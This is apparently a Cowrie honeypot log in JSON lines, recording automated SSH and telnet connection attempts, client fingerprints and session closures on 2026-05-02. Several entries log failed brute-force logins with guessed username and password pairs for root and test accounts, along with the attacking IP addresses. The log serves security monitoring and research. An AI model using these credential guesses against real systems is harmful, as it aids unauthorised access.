{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:27.580569Z","src_ip":"213.209.159.158","session":"8b3d4134f352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":38082,"dst_ip":"10.17.0.5","dst_port":23,"session":"cadb9ab24133","protocol":"telnet","message":"New connection: 65.60.27.33:38082 (10.17.0.5:23) [session: cadb9ab24133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:28.782735Z"}
{"eventid":"cowrie.session.closed","duration":42.636053800582886,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:29.426077Z","src_ip":"65.60.27.33","session":"189e1ec5a7db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48502,"dst_ip":"10.17.0.5","dst_port":23,"session":"7f96d889a73f","protocol":"telnet","message":"New connection: 165.232.131.181:48502 (10.17.0.5:23) [session: 7f96d889a73f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:30.818374Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57422,"dst_ip":"10.17.0.5","dst_port":23,"session":"267073dcf0d3","protocol":"telnet","message":"New connection: 62.210.97.77:57422 (10.17.0.5:23) [session: 267073dcf0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:31.528060Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":48834,"dst_ip":"10.17.0.5","dst_port":23,"session":"eefb99fa4833","protocol":"telnet","message":"New connection: 165.232.131.181:48834 (10.17.0.5:23) [session: eefb99fa4833]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:31.819797Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":57438,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8b122ca9ce8","protocol":"telnet","message":"New connection: 62.210.97.77:57438 (10.17.0.5:23) [session: b8b122ca9ce8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:35.840891Z"}
{"eventid":"cowrie.session.closed","duration":35.26618027687073,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:36.595634Z","src_ip":"62.210.97.77","session":"98a54209c11a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.60368323326111,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:37.091911Z","src_ip":"62.210.97.77","session":"2680ec0512bc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"uyiyuijklkdgdf","message":"login attempt [root/uyiyuijklkdgdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:37.590256Z","src_ip":"213.209.159.158","session":"8b3d4134f352","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.523762702941895,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:37.626581Z","src_ip":"65.60.27.33","session":"55b41b359ed5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:40.746356Z","src_ip":"213.209.159.158","session":"8b3d4134f352","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":25886,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed059ab92f8b","protocol":"ssh","message":"New connection: 213.209.159.158:25886 (10.17.0.5:22) [session: ed059ab92f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:40.835491Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40022,"dst_ip":"10.17.0.5","dst_port":23,"session":"bcc2aeefe54e","protocol":"telnet","message":"New connection: 62.210.97.77:40022 (10.17.0.5:23) [session: bcc2aeefe54e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:40.986865Z"}
{"eventid":"cowrie.session.closed","duration":39.424891233444214,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:41.919823Z","src_ip":"62.210.97.77","session":"3d71e0c92565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":40024,"dst_ip":"10.17.0.5","dst_port":23,"session":"f05d3c73516a","protocol":"telnet","message":"New connection: 62.210.97.77:40024 (10.17.0.5:23) [session: f05d3c73516a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:42.582479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:43.403157Z","src_ip":"213.209.159.158","session":"ed059ab92f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:43.408338Z","src_ip":"213.209.159.158","session":"ed059ab92f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.34799098968506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:44.478630Z","src_ip":"62.210.97.77","session":"8e0f5b403588","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46904158592224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:46.158481Z","src_ip":"62.210.97.77","session":"436322ec38ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.218.69.66","src_port":20558,"dst_ip":"159.203.135.109","dst_port":22,"session":"775678f2c848","protocol":"ssh","message":"New connection: 89.218.69.66:20558 (159.203.135.109:22) [session: 775678f2c848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:46.205303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:46.209970Z","src_ip":"89.218.69.66","session":"775678f2c848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:46.381570Z","src_ip":"89.218.69.66","session":"775678f2c848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qazwsxedc","message":"login attempt [test/qazwsxedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:47.090169Z","src_ip":"89.218.69.66","session":"775678f2c848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.41367745399475,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:47.172400Z","src_ip":"62.210.97.77","session":"7f978f2792e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.69921541213989,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:47.809814Z","src_ip":"62.210.97.77","session":"7ba11cd7fe7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:48.261882Z","src_ip":"89.218.69.66","session":"775678f2c848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37590,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e964c396d17","protocol":"telnet","message":"New connection: 38.54.119.93:37590 (10.17.0.5:23) [session: 1e964c396d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:49.342798Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55308,"dst_ip":"10.17.0.5","dst_port":23,"session":"06310ff91420","protocol":"telnet","message":"New connection: 62.210.97.77:55308 (10.17.0.5:23) [session: 06310ff91420]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:49.544475Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":54344,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbc0adb748ab","protocol":"telnet","message":"New connection: 165.232.131.181:54344 (10.17.0.5:23) [session: fbc0adb748ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:49.740358Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":39042,"dst_ip":"10.17.0.5","dst_port":23,"session":"de0a94bedef8","protocol":"telnet","message":"New connection: 38.54.119.93:39042 (10.17.0.5:23) [session: de0a94bedef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:51.502947Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"valt","message":"login attempt [root/valt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:52.999108Z","src_ip":"213.209.159.158","session":"ed059ab92f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55316,"dst_ip":"10.17.0.5","dst_port":23,"session":"9126732d0405","protocol":"telnet","message":"New connection: 62.210.97.77:55316 (10.17.0.5:23) [session: 9126732d0405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:53.122103Z"}
{"eventid":"cowrie.session.closed","duration":34.982699394226074,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:55.741200Z","src_ip":"62.210.97.77","session":"968943bd3625","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:56.612832Z","src_ip":"213.209.159.158","session":"ed059ab92f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":58022,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fe229cb1ad7","protocol":"ssh","message":"New connection: 213.209.159.158:58022 (10.17.0.5:22) [session: 2fe229cb1ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:56.710096Z"}
{"eventid":"cowrie.session.closed","duration":38.83875322341919,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:57.120756Z","src_ip":"65.60.27.33","session":"a0b78f31f53f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.413339614868164,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:57.682228Z","src_ip":"62.210.97.77","session":"afd46f477149","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":55328,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e9f9ab07a97","protocol":"telnet","message":"New connection: 62.210.97.77:55328 (10.17.0.5:23) [session: 6e9f9ab07a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:57.854989Z"}
{"eventid":"cowrie.session.closed","duration":36.028712034225464,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:58.140959Z","src_ip":"62.210.97.77","session":"28e9070f714a","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:58.920609Z","src_ip":"213.209.159.158","session":"2fe229cb1ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:58.924354Z","src_ip":"213.209.159.158","session":"2fe229cb1ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44878,"dst_ip":"10.17.0.5","dst_port":23,"session":"1de070e47b12","protocol":"telnet","message":"New connection: 65.60.27.33:44878 (10.17.0.5:23) [session: 1de070e47b12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:59.019995Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":44966,"dst_ip":"10.17.0.5","dst_port":23,"session":"71ba8e6dfe5b","protocol":"telnet","message":"New connection: 65.60.27.33:44966 (10.17.0.5:23) [session: 71ba8e6dfe5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:28:59.116615Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":44886,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebb26ffa76bd","protocol":"telnet","message":"New connection: 38.54.119.93:44886 (10.17.0.5:23) [session: ebb26ffa76bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:00.332308Z"}
{"eventid":"cowrie.session.closed","duration":39.97360968589783,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:02.524250Z","src_ip":"62.210.97.77","session":"9c1d234d1290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":59772,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb7f0463dbbe","protocol":"telnet","message":"New connection: 165.232.131.181:59772 (10.17.0.5:23) [session: fb7f0463dbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:03.137207Z"}
{"eventid":"cowrie.session.closed","duration":4.24949312210083,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:03.365977Z","src_ip":"65.60.27.33","session":"71ba8e6dfe5b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.50320482254028,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:04.031147Z","src_ip":"62.210.97.77","session":"267073dcf0d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":50546,"dst_ip":"10.17.0.5","dst_port":23,"session":"eac7b141d8af","protocol":"telnet","message":"New connection: 65.60.27.33:50546 (10.17.0.5:23) [session: eac7b141d8af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:04.048523Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1db3a281b02d","protocol":"telnet","message":"New connection: 38.54.119.93:48142 (10.17.0.5:23) [session: 1db3a281b02d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:05.374797Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":52556,"dst_ip":"10.17.0.5","dst_port":23,"session":"84a4f724cc91","protocol":"telnet","message":"New connection: 65.60.27.33:52556 (10.17.0.5:23) [session: 84a4f724cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:05.720959Z"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":54276,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38a6f9fab30","protocol":"telnet","message":"New connection: 65.60.27.33:54276 (10.17.0.5:23) [session: d38a6f9fab30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:07.382721Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":45768,"dst_ip":"10.17.0.5","dst_port":23,"session":"d144e5d9ff78","protocol":"telnet","message":"New connection: 62.210.97.77:45768 (10.17.0.5:23) [session: d144e5d9ff78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:08.055336Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"user1234567890","message":"login attempt [root/user1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:08.677978Z","src_ip":"213.209.159.158","session":"2fe229cb1ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.40727186203003,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:09.189889Z","src_ip":"65.60.27.33","session":"cadb9ab24133","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.97.77","src_port":33550,"dst_ip":"10.17.0.5","dst_port":23,"session":"a701d801b0fb","protocol":"telnet","message":"New connection: 62.210.97.77:33550 (10.17.0.5:23) [session: a701d801b0fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:10.263399Z"}
{"eventid":"cowrie.session.closed","duration":35.57996916770935,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:11.420739Z","src_ip":"62.210.97.77","session":"b8b122ca9ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"15.3","message":"Connection lost after 15.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:11.964123Z","src_ip":"213.209.159.158","session":"2fe229cb1ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":47784,"dst_ip":"10.17.0.5","dst_port":22,"session":"8a59f24bc14c","protocol":"ssh","message":"New connection: 213.209.159.158:47784 (10.17.0.5:22) [session: 8a59f24bc14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:12.043512Z"}
{"eventid":"cowrie.session.closed","duration":6.866404294967651,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:12.241055Z","src_ip":"38.54.119.93","session":"1db3a281b02d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T20:29:14.080865Z","src_ip":"213.209.159.158","session":"8a59f24bc14c","protocol":"ssh"}
